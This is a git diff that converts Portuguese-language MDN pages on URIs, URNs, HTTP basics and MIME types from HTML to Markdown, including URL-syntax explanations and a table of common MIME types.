http://www.exemplo.com:80/pasta/para/meu-arquivo.html?chave1=valor1&chave2=valor2#AlgumaCoisaNoDocumento
+``` +http://www.exemplo.com:80/pasta/para/meu-arquivo.html?chave1=valor1&chave2=valor2#AlgumaCoisaNoDocumento +``` -

URNs

+### URNs -

Um Nome de Recurso Uniforme do inglês Uniform Resource Name (URN) é uma URI que identifica um recurso pelo nome em um namespace particular.

+Um Nome de Recurso Uniforme do inglês Uniform Resource Name (URN) é uma URI que identifica um recurso pelo nome em um namespace particular. -
urn:isbn:9780141036144
+```
+urn:isbn:9780141036144
 urn:ietf:rfc:7230
-
- -

As duas URNs correspondem

- -
    -
  • o livro Nineteen Eighty-Four por George Orwell,
  • -
  • a especificação 720 da IETF, Hypertext Transfer Protocol (HTTP/1.1): Sintaxe de mensagem e rotas.
  • -
- -

Sintaxe daUniform Resource Identifiers (URIs)

- -

Esquema ou protocolo

- -
-
Protocol
-
http:// é o protocolo. Ele indica qual é o protocolo que o navegador irá usar. Usualmente o protocolo é o HTTP, ou sua versão segura, HTTPS. A Web requer um desses dois, mas os navegadores tambem sabem como lidar com outros protocolos como o mailto: (para abrir um cliente de email) ou o ftp: para fazer uma transferêcia de arquivo, então não fique surpreso se ver alguns desses protocolos. Esquemas comuns são:
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EsquemaDescrição
dataURI de dados
fileNomes de arquivos específicos do host
ftpProtocolo de transferência de arquivo
http/httpsHyper text transfer protocol (Secure)
mailtoEndereço de correio eletrônico (e-mail)
sshSecure shell
teltelefone
urnUniform Resource Names
view-sourceCódigo fonte de um recurso
ws/wssConecções de WebSocket (Encriptadas)
- -

Autoridade

- -
-
Domaine Name
-
www.example.com é o nome de domínio ou autoridade que governa o namespace. Ele indica qual servidor web será solicitado. Alternativamente, é possível utilizar um {{Glossary("IP address")}}, mas isso pode ser menos conveniente e não é muito utilizado na Web.
-
- -

Porta

- -
-
Port
-
:80 é a porta nesta instância . Ela indica qual é o "portão" técnico usado para acessar os recursos no servidor web. Usualmente ela é omitida se o servidor web utiliza a porta padrão do protocolo HTTP (80 para HTTP e 443 para HTTPS) para garantir o acesso aos recursos. Do contrário, ela se torna obrigatória.
-
- -

Caminhos

- -
-
Path to the file
-
/path/to/myfile.html é o caminho para o recurso no servidor Web. Nos primeiros dias da Web, um caminho era representado pelo caminho físico correspondente no servidor web. Hoje em dia isso é mais uma abstração tratada pelos servidores Web não sendo necessariamente o endereço físico do arquivo em questão.
-
- -

Query / Parâmetros

- -
-
Parameters
-
?key1=value1&key2=value2 são parâmetros extras fornecidos ao servidor Web. Eles são uma lista de pares chaves/valores separados com o símbolo & O servidor web pode usar esses parametros para fazer coisas extras depois retornando o recurso para o usuário. Cada servidor web tem suas regras em relação aos parâmetros, e o unico jeito confiável de saber como um servidor Web especifico trata os parâmetros é perguntando o dono do servidor.
-
- -

Fragmentos

- -
-
Anchor
-
#SomewhereInTheDocument é uma âncora para outra parte do próprio recurso. Uma âncora representa uma espécie de "marcador" dentro do recurso, dando ao navegador as instruções para mostrar o conteúdo localizado naquele ponto "marcado". Em um documento HTML, por exemplo, o navegador erá dar scroll para a ancora em um ponto definido; em um vídeo ou audio, o navegor erá tentar ir para o tempo que a âncora representa. Vale ressaltar que a parte após o #, também conhecido como identificador de fragmento, nunca é enviado ao servidor com o pedido.
-
- -

Notas de uso

- -

Ao usar URLs em conteúdo {{Glossary("HTML")}} em geral se deve usar apenas alguns desses esquemas URL. Apenas os esquemas HTTP e HTTPS devem ser usados quando se faz referência a subrecursos — isto é, arquivos carregados como parte de um documento maior. Por razões de segurança, os navegadores estão reduzindo cada vez mais o suporte a FTP para o carregamento de subrecursos.

- -

FTP ainda é aceito em alguns casos específicos de acesso direto, como quando a URL é digitada diretamente na barra do navegador ou como o alvo em um link, ainda que alguns navegadores possam delegar o carregamento do conteúdo FTP para outra aplicação.

- -

Exemplos

- -
https://developer.mozilla.org/en-US/docs/Learn
+```
+
+As duas URNs correspondem
+
+- o livro Nineteen Eighty-Four por George Orwell,
+- a especificação 720 da IETF, Hypertext Transfer Protocol (HTTP/1.1): Sintaxe de mensagem e rotas.
+
+## Sintaxe daUniform Resource Identifiers (URIs)
+
+### Esquema ou protocolo
+
+- ![Protocol](https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png)
+  - : `http://` é o protocolo. Ele indica qual é o protocolo que o navegador irá usar. Usualmente o protocolo é o HTTP, ou sua versão segura, HTTPS. A Web requer um desses dois, mas os navegadores tambem sabem como lidar com outros protocolos como o `mailto:` (para abrir um cliente de email) ou o `ftp:` para fazer uma transferêcia de arquivo, então não fique surpreso se ver alguns desses protocolos. Esquemas comuns são:
+
+| Esquema     | Descrição                                                                  |
+| ----------- | -------------------------------------------------------------------------- |
+| data        | [URI de dados](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Data_URIs)              |
+| file        | Nomes de arquivos específicos do host                                      |
+| ftp         | [Protocolo de transferência de arquivo](/pt-BR/docs/Glossary/FTP)          |
+| http/https  | [Hyper text transfer protocol (Secure)](/pt-BR/docs/Glossary/HTTP)         |
+| mailto      | Endereço de correio eletrônico (e-mail)                                    |
+| ssh         | Secure shell                                                               |
+| tel         | telefone                                                                   |
+| urn         | Uniform Resource Names                                                     |
+| view-source | Código fonte de um recurso                                                 |
+| ws/wss      | Conecções de [WebSocket](/pt-BR/docs/Web/API/WebSockets_API) (Encriptadas) |
+
+### Autoridade
+
+- ![Domaine Name](https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png)
+  - : `www.example.com` é o nome de domínio ou autoridade que governa o namespace. Ele indica qual servidor web será solicitado. Alternativamente, é possível utilizar um {{Glossary("IP address")}}, mas isso pode ser menos conveniente e não é muito utilizado na Web.
+
+### Porta
+
+- ![Port](https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png)
+  - : `:80` é a porta nesta instância . Ela indica qual é o "portão" técnico usado para acessar os recursos no servidor web. Usualmente ela é omitida se o servidor web utiliza a porta padrão do protocolo HTTP (80 para HTTP e 443 para HTTPS) para garantir o acesso aos recursos. Do contrário, ela se torna obrigatória.
+
+### Caminhos
+
+- ![Path to the file](https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png)
+  - : `/path/to/myfile.html` é o caminho para o recurso no servidor Web. Nos primeiros dias da Web, um caminho era representado pelo caminho físico correspondente no servidor web. Hoje em dia isso é mais uma abstração tratada pelos servidores Web não sendo necessariamente o endereço físico do arquivo em questão.
+
+### Query / Parâmetros
+
+- ![Parameters](https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png)
+  - : `?key1=value1&key2=value2` são parâmetros extras fornecidos ao servidor Web. Eles são uma lista de pares chaves/valores separados com o símbolo `&` O servidor web pode usar esses parametros para fazer coisas extras depois retornando o recurso para o usuário. Cada servidor web tem suas regras em relação aos parâmetros, e o unico jeito confiável de saber como um servidor Web especifico trata os parâmetros é perguntando o dono do servidor.
+
+### Fragmentos
+
+- ![Anchor](https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png)
+  - : `#SomewhereInTheDocument` é uma âncora para outra parte do próprio recurso. Uma âncora representa uma espécie de "marcador" dentro do recurso, dando ao navegador as instruções para mostrar o conteúdo localizado naquele ponto "marcado". Em um documento HTML, por exemplo, o navegador erá dar scroll para a ancora em um ponto definido; em um vídeo ou audio, o navegor erá tentar ir para o tempo que a âncora representa. Vale ressaltar que a parte após o #, também conhecido como identificador de fragmento, nunca é enviado ao servidor com o pedido.
+
+## Notas de uso
+
+Ao usar URLs em conteúdo {{Glossary("HTML")}} em geral se deve usar apenas alguns desses esquemas URL. Apenas os esquemas HTTP e HTTPS devem ser usados quando se faz referência a subrecursos — isto é, arquivos carregados como parte de um documento maior. Por razões de segurança, os navegadores estão reduzindo cada vez mais o suporte a FTP para o carregamento de subrecursos.
+
+FTP ainda é aceito em alguns casos específicos de acesso direto, como quando a URL é digitada diretamente na barra do navegador ou como o alvo em um link, ainda que alguns navegadores possam delegar o carregamento do conteúdo FTP para outra aplicação.
+
+## Exemplos
+
+```
+https://developer.mozilla.org/en-US/docs/Learn
 tel:+1-816-555-1212
 git@github.com:mdn/browser-compat-data.git
 ftp://example.org/resource.txt
 urn:isbn:9780141036144
-
- -

Especificações

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Veja também

- - +``` + +## Especificações + +| Specification | Title | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------ | +| {{RFC("7230", "Uniform Resource Identifiers", "2.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | + +## Veja também + +- [O que é uma URL?](/pt-BR/docs/Learn/Common_questions/What_is_a_URL) +- [Lista de esquemas URI IANA](http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml) diff --git a/files/pt-br/web/http/basics_of_http/index.md b/files/pt-br/web/http/basics_of_http/index.md index e3485e2034f4cd..780997273bddce 100644 --- a/files/pt-br/web/http/basics_of_http/index.md +++ b/files/pt-br/web/http/basics_of_http/index.md @@ -4,59 +4,39 @@ slug: Web/HTTP/Basics_of_HTTP translation_of: Web/HTTP/Basics_of_HTTP original_slug: Web/HTTP/Basico_sobre_HTTP --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

HTTP é um protocolo bem extensivo. Isso depende um pouco do conceito básico com noção de recursos e URIs, uma simples estrutura de mensagens, e uma estrutura de cliente-servidor para a comunicação ocorrer. Em cima destes conceitos básicos, várias versões surgiram ao longo do tempo, adicionando novas funcionalidades e novas semanticas para criar novos métodos HTTP ou cabeçalhos.

+HTTP é um protocolo bem extensivo. Isso depende um pouco do conceito básico com noção de recursos e URIs, uma simples estrutura de mensagens, e uma estrutura de cliente-servidor para a comunicação ocorrer. Em cima destes conceitos básicos, várias versões surgiram ao longo do tempo, adicionando novas funcionalidades e novas semanticas para criar novos métodos HTTP ou cabeçalhos. -

Artigos

+## Artigos -
-
Visão geral sobre HTTP
-
-

Descreve o que é HTTP e quais as regras para arquitetura Web, sua posição na lista de protocolos.

-
-
Evolução do HTTP
-
-

HTTP foi criada no inicio dos anos 1990 e vem evoluindo ao longo do tempo. Esse artigo passa por sua história e descreve HTTP/0.9, HTTP/1.0, HTTP/1.1, e o moderno HTTP/2 bem como pequenas novidades adicionadas ao longo de seus anos.

-
-
Negociação entre versões HTTP
-
-

Explicações de como um cliente e um servidor conseguem negociar em uma versão expecífica do HTTP e enventuais atualizaçõs nos protocolos usados;

-
-
Recursos e URIs
-
-

Uma breve introdução sobre noção de recursos, identicadores e localizações na Web.

-
-
Identificando recursos na Web
-
Descreve como os recursos Web são referênciados e como encontrar eles.
-
Data URIs
-
-

Um tipo especifico de URIs que incorpora diretamente os recursos apresentados, Data URIs são muito convenientes, mas tem algumas ressalvas

-
-
Separando identidades e localização de recursos: O cabeçalho Alt-Svc HTTP
-
Na maioria das vezes, a indentidade ea localização de um recurso da Web são compartilhados, isso pode ser mudado com no cabeçalho {{HTTPHeader("Alt-Svc")}}.
-
MIME types
-
Desde HTTP/1.0, diferentes tipos de conteúdos poderam ser transmitidos. Esse artigo explica como funciona usando o {cabeçalho {HTTPHeader("Content-Type")}} e o MIME standard.
-
Escolhendo entre URLs www e sem-www
-
-

Ajuda de como usar o prefixo www no domínio ou não, esse artigo fala as consequencias da escolhe e também como fazer isso.

-
-
Fluxo de sessões HTTP
-
-

Esse artigo fundamente descreve uma típica sessão HTTP: o que acontece por trás do do navegador quando você clica em um link.

-
-
Mensagens HTTP
-
-

Mensagens HTTP transmitidas durante o pedido ou resposta tem uma clara estrutura; isso introduz descrição sobre essas estrutura no artigo, seus proprósitos e suas possibilidades.

-
-
Quadro e estrutura de mensagens no HTTP/2
-
-

HTTP/2 junta e representa mensagens do HTTP/1.x em um quadro binário. Esse artigo explica a estrutura do quadro, sua finalidade ea maneira como ele é codificado.

-
-
Gerenciamento de conexão no HTTP/1.x
-
HTTP/1.1 foi a primeira versão do HTTP a suportar conexão constante e canalizar elas. Esse artigo explica sobre estes dois conceitos.
-
Gerenciamento de conexão no HTTP/2
-
HTTP/2 Revisitou completamente como as conexões são criadas e mantidas: esse artigo explica como os quadros HTTP permitem multiplexação e resolver o bloco 'head-of-line' bloqueio das versões anteirores do HTTP.
-
Conteúdo da negociação
-
HTTP introduz um conjunto de cabeçalhos, começando com Accept- como o meio que o navegador anuncia o formato, linguagem, ou a codificação é preferida. Esse artigo explica como esse anuncio acontece, como o servidor é esperado para reagir e como será escolhido a melhor resposta.
-
+- [Visão geral sobre HTTP](/pt-BR/docs/Web/HTTP/Overview) + - : Descreve o que é HTTP e quais as regras para arquitetura Web, sua posição na lista de protocolos. +- [Evolução do HTTP](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : HTTP foi criada no inicio dos anos 1990 e vem evoluindo ao longo do tempo. Esse artigo passa por sua história e descreve HTTP/0.9, HTTP/1.0, HTTP/1.1, e o moderno HTTP/2 bem como pequenas novidades adicionadas ao longo de seus anos. +- **Negociação entre versões HTTP** + - : Explicações de como um cliente e um servidor conseguem negociar em uma versão expecífica do HTTP e enventuais atualizaçõs nos protocolos usados; +- [Recursos e URIs](/pt-BR/docs/Web/HTTP/Resources_and_URIs) + - : Uma breve introdução sobre noção de recursos, identicadores e localizações na Web. +- [Identificando recursos na Web](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web) + - : Descreve como os recursos Web são referênciados e como encontrar eles. +- [Data URIs](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) + - : Um tipo especifico de URIs que incorpora diretamente os recursos apresentados, Data URIs são muito convenientes, mas tem algumas ressalvas +- **Separando identidades e localização de recursos: O cabeçalho Alt-Svc HTTP** + - : Na maioria das vezes, a indentidade ea localização de um recurso da Web são compartilhados, isso pode ser mudado com no cabeçalho {{HTTPHeader("Alt-Svc")}}. +- [MIME types](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/MIME_types) + - : Desde HTTP/1.0, diferentes tipos de conteúdos poderam ser transmitidos. Esse artigo explica como funciona usando o {cabeçalho {HTTPHeader("Content-Type")}} e o MIME standard. +- [Escolhendo entre URLs www e sem-www](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs) + - : Ajuda de como usar o prefixo www no domínio ou não, esse artigo fala as consequencias da escolhe e também como fazer isso. +- Fluxo de sessões HTTP + - : Esse artigo fundamente descreve uma típica sessão HTTP: o que acontece por trás do do navegador quando você clica em um link. +- [Mensagens HTTP](/pt-BR/docs/Web/HTTP/Messages) + - : Mensagens HTTP transmitidas durante o pedido ou resposta tem uma clara estrutura; isso introduz descrição sobre essas estrutura no artigo, seus proprósitos e suas possibilidades. +- Quadro e estrutura de mensagens no HTTP/2 + - : HTTP/2 junta e representa mensagens do HTTP/1.x em um quadro binário. Esse artigo explica a estrutura do quadro, sua finalidade ea maneira como ele é codificado. +- [Gerenciamento de conexão no HTTP/1.x](/pt-BR/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : HTTP/1.1 foi a primeira versão do HTTP a suportar conexão constante e canalizar elas. Esse artigo explica sobre estes dois conceitos. +- Gerenciamento de conexão no HTTP/2 + - : HTTP/2 Revisitou completamente como as conexões são criadas e mantidas: esse artigo explica como os quadros HTTP permitem multiplexação e resolver o bloco 'head-of-line' bloqueio das versões anteirores do HTTP. +- [Conteúdo da negociação](/pt-BR/docs/Web/HTTP/Content_negotiation) + - : HTTP introduz um conjunto de cabeçalhos, começando com `Accept-` como o meio que o navegador anuncia o formato, linguagem, ou a codificação é preferida. Esse artigo explica como esse anuncio acontece, como o servidor é esperado para reagir e como será escolhido a melhor resposta. diff --git a/files/pt-br/web/http/basics_of_http/mime_types/common_types/index.md b/files/pt-br/web/http/basics_of_http/mime_types/common_types/index.md index f02dcfd0e43fa0..2242875b2ba8de 100644 --- a/files/pt-br/web/http/basics_of_http/mime_types/common_types/index.md +++ b/files/pt-br/web/http/basics_of_http/mime_types/common_types/index.md @@ -7,331 +7,75 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types original_slug: Web/HTTP/Basico_sobre_HTTP/MIME_types/Complete_list_of_MIME_types --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Abaixo uma lista de tipos de MIME, associadas por tipos de documentos, ordenados por suas extensões comuns.

+Abaixo uma lista de tipos de MIME, associadas por tipos de documentos, ordenados por suas extensões comuns. -


- Há dois tipo MIME que são importantes para tipos padrões:

+Há dois tipo MIME que são importantes para tipos padrões: -
    -
  • text/plain é o tipo padrão para arquivos de texto. Um arquivo de texto deve ser legível para um ser humano, e não deve conter dados binários.
  • -
  • application/octet-stream É um tipo padrão para todos outros casos. Um tipo de arquivo desconhecido deveria usar este tipo. Navegadores tomarão mais cuidado ao manipular esses arquivos, tentando proteger o usuário e prevenir comportamentos perigosos.
  • -
+- `text/plain` é o tipo padrão para arquivos de texto. Um arquivo de texto deve ser legível para um ser humano, e não deve conter dados binários. +- `application/octet-stream` É um tipo padrão para todos outros casos. Um tipo de arquivo desconhecido deveria usar este tipo. Navegadores tomarão mais cuidado ao manipular esses arquivos, tentando proteger o usuário e prevenir comportamentos perigosos. -

IANA é o registrador official de tipos de mídia MIME e mantém uma lista de todos tipos oficiais de MIME. Esta tabela lista alguns tipos de MIME importantes para a Web.

+IANA é o registrador official de tipos de mídia MIME e mantém uma [lista de todos tipos oficiais de MIME](http://www.iana.org/assignments/media-types/media-types.xhtml). Esta tabela lista alguns tipos de MIME importantes para a Web. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ExtensãoTipo do documentoTipo MIME
.aacArquivo de audio AACaudio/aac
.abwDocumento AbiWordapplication/x-abiword
.arcArchive document (multiple files embedded)application/octet-stream
.aviArquivo de audio e vídeo Intercalar AVIvideo/x-msvideo
.azwFormato eBook do Amazon Kindleapplication/vnd.amazon.ebook
.binQualquer tipo de dados bináriosapplication/octet-stream
.bzArquivo compactado BZipapplication/x-bzip
.bz2Arquivo compactado BZip2application/x-bzip2
.cshC-Shell scriptapplication/x-csh
.cssCascading Style Sheets (CSS)text/css
.csvComma-separated values (CSV)text/csv
.docMicrosoft Wordapplication/msword
.eotMS Embedded OpenType fontsapplication/vnd.ms-fontobject
.epubElectronic publication (EPUB)application/epub+zip
.gifGraphics Interchange Format (GIF)image/gif
.htm
- .html
HyperText Markup Language (HTML)text/html
.icoIcon formatimage/x-icon
.icsiCalendar formattext/calendar
.jarJava Archive (JAR)application/java-archive
.jpeg
- .jpg
JPEG imagesimage/jpeg
.jsJavaScript (ECMAScript)application/javascript
.jsonJSON formatapplication/json
.mid
- .midi
Musical Instrument Digital Interface (MIDI)audio/midi
.mpegMPEG Videovideo/mpeg
.mpkgApple Installer Packageapplication/vnd.apple.installer+xml
.odpOpenDocument presentation documentapplication/vnd.oasis.opendocument.presentation
.odsOpenDocument spreadsheet documentapplication/vnd.oasis.opendocument.spreadsheet
.odtOpenDocument text documentapplication/vnd.oasis.opendocument.text
.ogaOGG audioaudio/ogg
.ogvOGG videovideo/ogg
.ogxOGGapplication/ogg
.otfOpenType fontfont/otf
.pngPortable Network Graphicsimage/png
.pdfAdobe Portable Document Format (PDF)application/pdf
.pptMicrosoft PowerPointapplication/vnd.ms-powerpoint
.rarRAR archiveapplication/x-rar-compressed
.rtfRich Text Format (RTF)application/rtf
.shBourne shell scriptapplication/x-sh
.svgScalable Vector Graphics (SVG)image/svg+xml
.swfSmall web format (SWF) or Adobe Flash documentapplication/x-shockwave-flash
.tarTape Archive (TAR)application/x-tar
.tif
- .tiff
Tagged Image File Format (TIFF)image/tiff
.tsTypescript fileapplication/typescript
.ttfTrueType Fontfont/ttf
.vsdMicrosoft Visioapplication/vnd.visio
.wavWaveform Audio Formataudio/x-wav
.webaWEBM audioaudio/webm
.webmWEBM videovideo/webm
.webpWEBP imageimage/webp
.woffWeb Open Font Format (WOFF)font/woff
.woff2Web Open Font Format (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xls
- .xlsx
Microsoft Excelapplication/vnd.ms-excel
- application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xmlXMLapplication/xml
.xulXULapplication/vnd.mozilla.xul+xml
.zipZIP archiveapplication/zip
.3gp3GPP audio/video containervideo/3gpp
- audio/3gpp if it doesn't contain video
.3g23GPP2 audio/video containervideo/3gpp2
- audio/3gpp2 if it doesn't contain video
.7z7-zip archiveapplication/x-7z-compressed
+| Extensão | Tipo do documento | Tipo MIME | +| -------------- | ------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------- | +| `.aac` | Arquivo de audio AAC | `audio/aac` | +| `.abw` | Documento [AbiWord](https://en.wikipedia.org/wiki/AbiWord) | `application/x-abiword` | +| `.arc` | Archive document (multiple files embedded) | `application/octet-stream` | +| `.avi` | Arquivo de audio e vídeo Intercalar AVI | `video/x-msvideo` | +| `.azw` | Formato eBook do Amazon Kindle | `application/vnd.amazon.ebook` | +| `.bin` | Qualquer tipo de dados binários | `application/octet-stream` | +| `.bz` | Arquivo compactado BZip | `application/x-bzip` | +| `.bz2` | Arquivo compactado BZip2 | `application/x-bzip2` | +| `.csh` | C-Shell script | `application/x-csh` | +| `.css` | Cascading Style Sheets (CSS) | `text/css` | +| `.csv` | Comma-separated values (CSV) | `text/csv` | +| `.doc` | Microsoft Word | `application/msword` | +| `.eot` | MS Embedded OpenType fonts | `application/vnd.ms-fontobject` | +| `.epub` | Electronic publication (EPUB) | `application/epub+zip` | +| `.gif` | Graphics Interchange Format (GIF) | `image/gif` | +| `.htm .html` | HyperText Markup Language (HTML) | `text/html` | +| `.ico` | Icon format | `image/x-icon` | +| `.ics` | iCalendar format | `text/calendar` | +| `.jar` | Java Archive (JAR) | `application/java-archive` | +| `.jpeg` `.jpg` | JPEG images | `image/jpeg` | +| `.js` | JavaScript (ECMAScript) | `application/javascript` | +| `.json` | JSON format | `application/json` | +| `.mid` `.midi` | Musical Instrument Digital Interface (MIDI) | `audio/midi` | +| `.mpeg` | MPEG Video | `video/mpeg` | +| `.mpkg` | Apple Installer Package | `application/vnd.apple.installer+xml` | +| `.odp` | OpenDocument presentation document | `application/vnd.oasis.opendocument.presentation` | +| `.ods` | OpenDocument spreadsheet document | `application/vnd.oasis.opendocument.spreadsheet` | +| `.odt` | OpenDocument text document | `application/vnd.oasis.opendocument.text` | +| `.oga` | OGG audio | `audio/ogg` | +| `.ogv` | OGG video | `video/ogg` | +| `.ogx` | OGG | `application/ogg` | +| `.otf` | OpenType font | `font/otf` | +| `.png` | Portable Network Graphics | `image/png` | +| `.pdf` | Adobe [Portable Document Format](https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html) (PDF) | `application/pdf` | +| `.ppt` | Microsoft PowerPoint | `application/vnd.ms-powerpoint` | +| `.rar` | RAR archive | `application/x-rar-compressed` | +| `.rtf` | Rich Text Format (RTF) | `application/rtf` | +| `.sh` | Bourne shell script | `application/x-sh` | +| `.svg` | Scalable Vector Graphics (SVG) | `image/svg+xml` | +| `.swf` | [Small web format](https://en.wikipedia.org/wiki/SWF) (SWF) or Adobe Flash document | `application/x-shockwave-flash` | +| `.tar` | Tape Archive (TAR) | `application/x-tar` | +| `.tif .tiff` | Tagged Image File Format (TIFF) | `image/tiff` | +| `.ts` | Typescript file | `application/typescript` | +| `.ttf` | TrueType Font | `font/ttf` | +| `.vsd` | Microsoft Visio | `application/vnd.visio` | +| `.wav` | Waveform Audio Format | `audio/x-wav` | +| `.weba` | WEBM audio | `audio/webm` | +| `.webm` | WEBM video | `video/webm` | +| `.webp` | WEBP image | `image/webp` | +| `.woff` | Web Open Font Format (WOFF) | `font/woff` | +| `.woff2` | Web Open Font Format (WOFF) | `font/woff2` | +| `.xhtml` | XHTML | `application/xhtml+xml` | +| `.xls .xlsx` | Microsoft Excel | `application/vnd.ms-excel application/vnd.openxmlformats-officedocument.spreadsheetml.sheet` | +| `.xml` | `XML` | `application/xml` | +| `.xul` | XUL | application/vnd.mozilla.xul+xml | +| `.zip` | ZIP archive | `application/zip` | +| `.3gp` | [3GPP](https://en.wikipedia.org/wiki/3GP_and_3G2) audio/video container | `video/3gpp` `audio/3gpp` if it doesn't contain video | +| `.3g2` | [3GPP2](https://en.wikipedia.org/wiki/3GP_and_3G2) audio/video container | `video/3gpp2` `audio/3gpp2` if it doesn't contain video | +| `.7z` | [7-zip](https://en.wikipedia.org/wiki/7-Zip) archive | `application/x-7z-compressed` | diff --git a/files/pt-br/web/http/basics_of_http/mime_types/index.md b/files/pt-br/web/http/basics_of_http/mime_types/index.md index 27545baab61ef0..de28356f1a68a1 100644 --- a/files/pt-br/web/http/basics_of_http/mime_types/index.md +++ b/files/pt-br/web/http/basics_of_http/mime_types/index.md @@ -4,34 +4,35 @@ slug: Web/HTTP/Basics_of_HTTP/MIME_types translation_of: Web/HTTP/Basics_of_HTTP/MIME_types original_slug: Web/HTTP/Basico_sobre_HTTP/MIME_types --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

O MIME type é o mecanismo para dizer ao cliente a variedade de documentos transmitidos: a extensão de um nome de arquivo não tem significado na web. Portanto, é importante que o servidor esteja configurado corretamente, de modo que o MIME-type correto seja transmitido com cada documento. Os navegadores costumam usar o MIME-type para determinar qual ação usar como padrão para fazer quando um recurso é obtido.

+O **MIME type** é o mecanismo para dizer ao cliente a variedade de documentos transmitidos: a extensão de um nome de arquivo não tem significado na web. Portanto, é importante que o servidor esteja configurado corretamente, de modo que o _MIME-type_ correto seja transmitido com cada documento. Os navegadores costumam usar o _MIME-type_ para determinar qual ação usar como padrão para fazer quando um recurso é obtido. -

Existem muitos tipos de documentos, por isso há muitos MIME-types. Neste artigo, listaremos os mais importantes para o desenvolvimento da Web, mas você pode encontrá-los para os tipos de documento aplicáveis ​​neste artigo dedicado: Lista completa de MIME types.

+Existem muitos tipos de documentos, por isso há muitos _MIME-types_. Neste artigo, listaremos os mais importantes para o desenvolvimento da Web, mas você pode encontrá-los para os tipos de documento aplicáveis ​​neste artigo dedicado: [Lista completa de _MIME types_](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types)_._ -

MIME types não são a única maneira de transmitir as informações do tipo de documento:

+_MIME types_ não são a única maneira de transmitir as informações do tipo de documento: -
    -
  • Os sufixos de nome são usados ​​às vezes, especialmente em sistemas Microsoft Windows. Nem todos os sistemas operacionais consideram esses sufixos significativos (especialmente Linux e Mac OS), e como um tipo MIME externo, não há garantia de que eles estejam corretos.
  • -
  • Números mágicos. A sintaxe dos diferentes tipos de arquivos permite a inferência de tipo de arquivo, olhando para a estrutura. Por exemplo. Cada arquivo GIF começa com o valor hexadecimal 47 49 46 38 [GIF89] ou arquivos PNG com 89 50 4E 47 [.PNG]. Nem todos os tipos de arquivos têm números mágicos, portanto este não é um sistema 100% confiável.
  • -
+- Os sufixos de nome são usados ​​às vezes, especialmente em sistemas Microsoft Windows. Nem todos os sistemas operacionais consideram esses sufixos significativos (especialmente Linux e Mac OS), e como um tipo MIME externo, não há garantia de que eles estejam corretos. +- Números mágicos. A sintaxe dos diferentes tipos de arquivos permite a inferência de tipo de arquivo, olhando para a estrutura. Por exemplo. Cada arquivo GIF começa com o valor hexadecimal 47 49 46 38 \[GIF89] ou arquivos PNG com 89 50 4E 47 \[.PNG]. Nem todos os tipos de arquivos têm números mágicos, portanto este não é um sistema 100% confiável. -

Na Web, apenas o MIME type é relevante e deve ser definido com cuidado. Navegadores e servidores usavam frequentemente heurísticas baseadas em sufixos ou números mágicos para definir o tipo MIME, verificar a coerência ou encontrar o tipo MIME correto quando apenas um tipo genérico foi fornecido.

+Na Web, apenas o _MIME type_ é relevante e deve ser definido com cuidado. Navegadores e servidores usavam frequentemente heurísticas baseadas em sufixos ou números mágicos para definir o tipo MIME, verificar a coerência ou encontrar o tipo MIME correto quando apenas um tipo genérico foi fornecido. -

Sintaxe

+## Sintaxe -

Estrutura geral

+### Estrutura geral -
tipo/subtipo
+``` +tipo/subtipo +``` -

A estrutura de um MIME type é muito simples; Consiste de um tipo e um subtipo, duas strings, separados por um '/'. Nenhum espaço é permitido. O tipo representa a categoria e pode ser um tipo discreto ou multipart. O subtipo é específico para cada tipo.

+A estrutura de um _MIME type_ é muito simples; Consiste de um tipo e um subtipo, duas strings, separados por um '/'. Nenhum espaço é permitido. O tipo representa a categoria e pode ser um tipo _discreto_ ou _multipart_. O subtipo é específico para cada tipo. -

Um MIME type é case-insensitive mas tradicionalmente é escrito tudo em minúsculas.

+Um _MIME type_ é case-insensitive mas tradicionalmente é escrito tudo em minúsculas. -

Tipos discretos

+### Tipos discretos -
text/plain
+```
+text/plain
 text/html
 image/jpeg
 image/png
@@ -40,165 +41,89 @@ audio/ogg
 audio/*
 video/mp4
 application/octet-stream
-…
- -

Tipos discretos indicam a categoria do documento, ele pode ser um dos seguintes:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
